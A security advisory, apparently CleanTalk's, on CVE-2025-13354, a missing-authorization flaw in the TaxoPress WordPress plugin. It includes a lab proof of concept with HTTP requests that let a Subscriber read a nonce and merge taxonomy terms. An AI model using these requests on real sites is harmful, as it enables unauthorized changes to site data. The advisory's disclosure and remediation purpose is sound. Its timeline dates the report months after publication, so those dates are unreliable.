CVE-2025-13354 affects TaxoPress and allows authenticated Subscriber+ users to merge or delete arbitrary taxonomy terms through the taxopress_merge_terms_batch AJAX action. The handler validates a nonce that is available from profile.php but does not verify the taxonomy manage_terms capability. Its unbounded post lookup can also add significant load while terms are reassigned or removed.
| CVE | CVE-2025-13354 |
| Plugin Version | TaxoPress <= 3.40.1, fixed in 3.41.0 |
| All Time | 5 986 256 |
| Active installations | 40 000+ |
| Publicly Published | December 3, 2025 |
| Last Updated | December 3, 2025 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://www.cve.org/CVERecord?id=CVE-2025-13354 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/simple-tags/tag-category-and-taxonomy-manager-ai-autotagger-with-openai-3401-missing-authorization-to-authenticated-subscriber-arbitrary-taxonomy-term-manipulation |
| Plugin Security Certification by CleanTalk |  |
| Logo of the plugin |  |
PSC by CleantalkJoin the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.
Timeline
| June 24, 2026 | Plugin testing and vulnerability detection in TaxoPress were completed. |
| June 26, 2026 | The vulnerability was reported with PoC, description, and recommendations for remediation. |
| December 3, 2025 | CVE-2025-13354 was publicly published by Wordfence. |
Discovery of the Vulnerability
The vulnerable AJAX flow is implemented in inc/class.admin.manage.php. Around lines 868 to 874, the handler verifies the st-admin-js nonce but does not check whether the current user has the manage_terms capability for the selected taxonomy. A Subscriber can obtain the localized nonce from profile.php and reach the term management action.
The mutation path around lines 977 to 990 requests every matching post with posts_per_page set to -1, removes term relationships, and calls wp_delete_term(). This permits unauthorized site-wide taxonomy changes and can consume substantial resources on a site with many posts.
Understanding of Missing Authorization attacks
A WordPress nonce confirms that a request came from a valid session, but it does not grant permission to manage a taxonomy. Every sensitive action must also check a role or object capability. When that authorization step is missing, any logged-in user who can obtain the nonce may perform work intended only for editors or administrators.
Exploiting the Missing Authorization Vulnerability
The following lab-only sequence uses three disposable tags and a Subscriber account. It first lists matching terms and then merges the test tags into a new term.
POC:
POC: 1. In a test site, create a post and add three disposable tags named test1, test2, and test3. 2. Log in as a Subscriber and open wp-admin/profile.php. 3. Read st_admin_localize.check_nonce from the page source. 4. List matching terms with the request below. GET /wp-admin/admin-ajax.php?action=taxopress_select2_term_filter&taxonomy=post_tag&s=t&nonce=NONCE HTTP/1.1 Host: example.test X-Requested-With: XMLHttpRequest Cookie: [Subscriber session] 5. Merge only the disposable test tags with the following request. POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.test Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Cookie: [Subscriber session] action=taxopress_merge_terms_batch&nonce=NONCE&taxonomy=post_tag&merge_type=different_name&old_terms[]=test1&old_terms[]=test2&old_terms[]=test3&new_term=alpha____
The request reaches the batch operation even though a Subscriber cannot normally manage post tags. On a vulnerable installation, the selected terms are merged and existing post relationships are rewritten.
Recommendations for Improved Security
Site owners should update TaxoPress to version 3.41.0 or later. Developers should resolve the taxonomy object and require its manage_terms capability before any merge or delete operation. Batch work should also use bounded queries and predictable limits so a single request cannot load every related post into memory.
By addressing Missing Authorization issues like CVE-2025-13354, WordPress site owners can protect taxonomy data from low-privileged account abuse and reduce the risk of expensive batch operations. Stay vigilant, stay secure.
#WordPressSecurity #MissingAuthorization #TaxonomySecurity #WebsiteSafety #StayProtected #MediumVulnerability
Use CleanTalk solutions to improve the security of your website
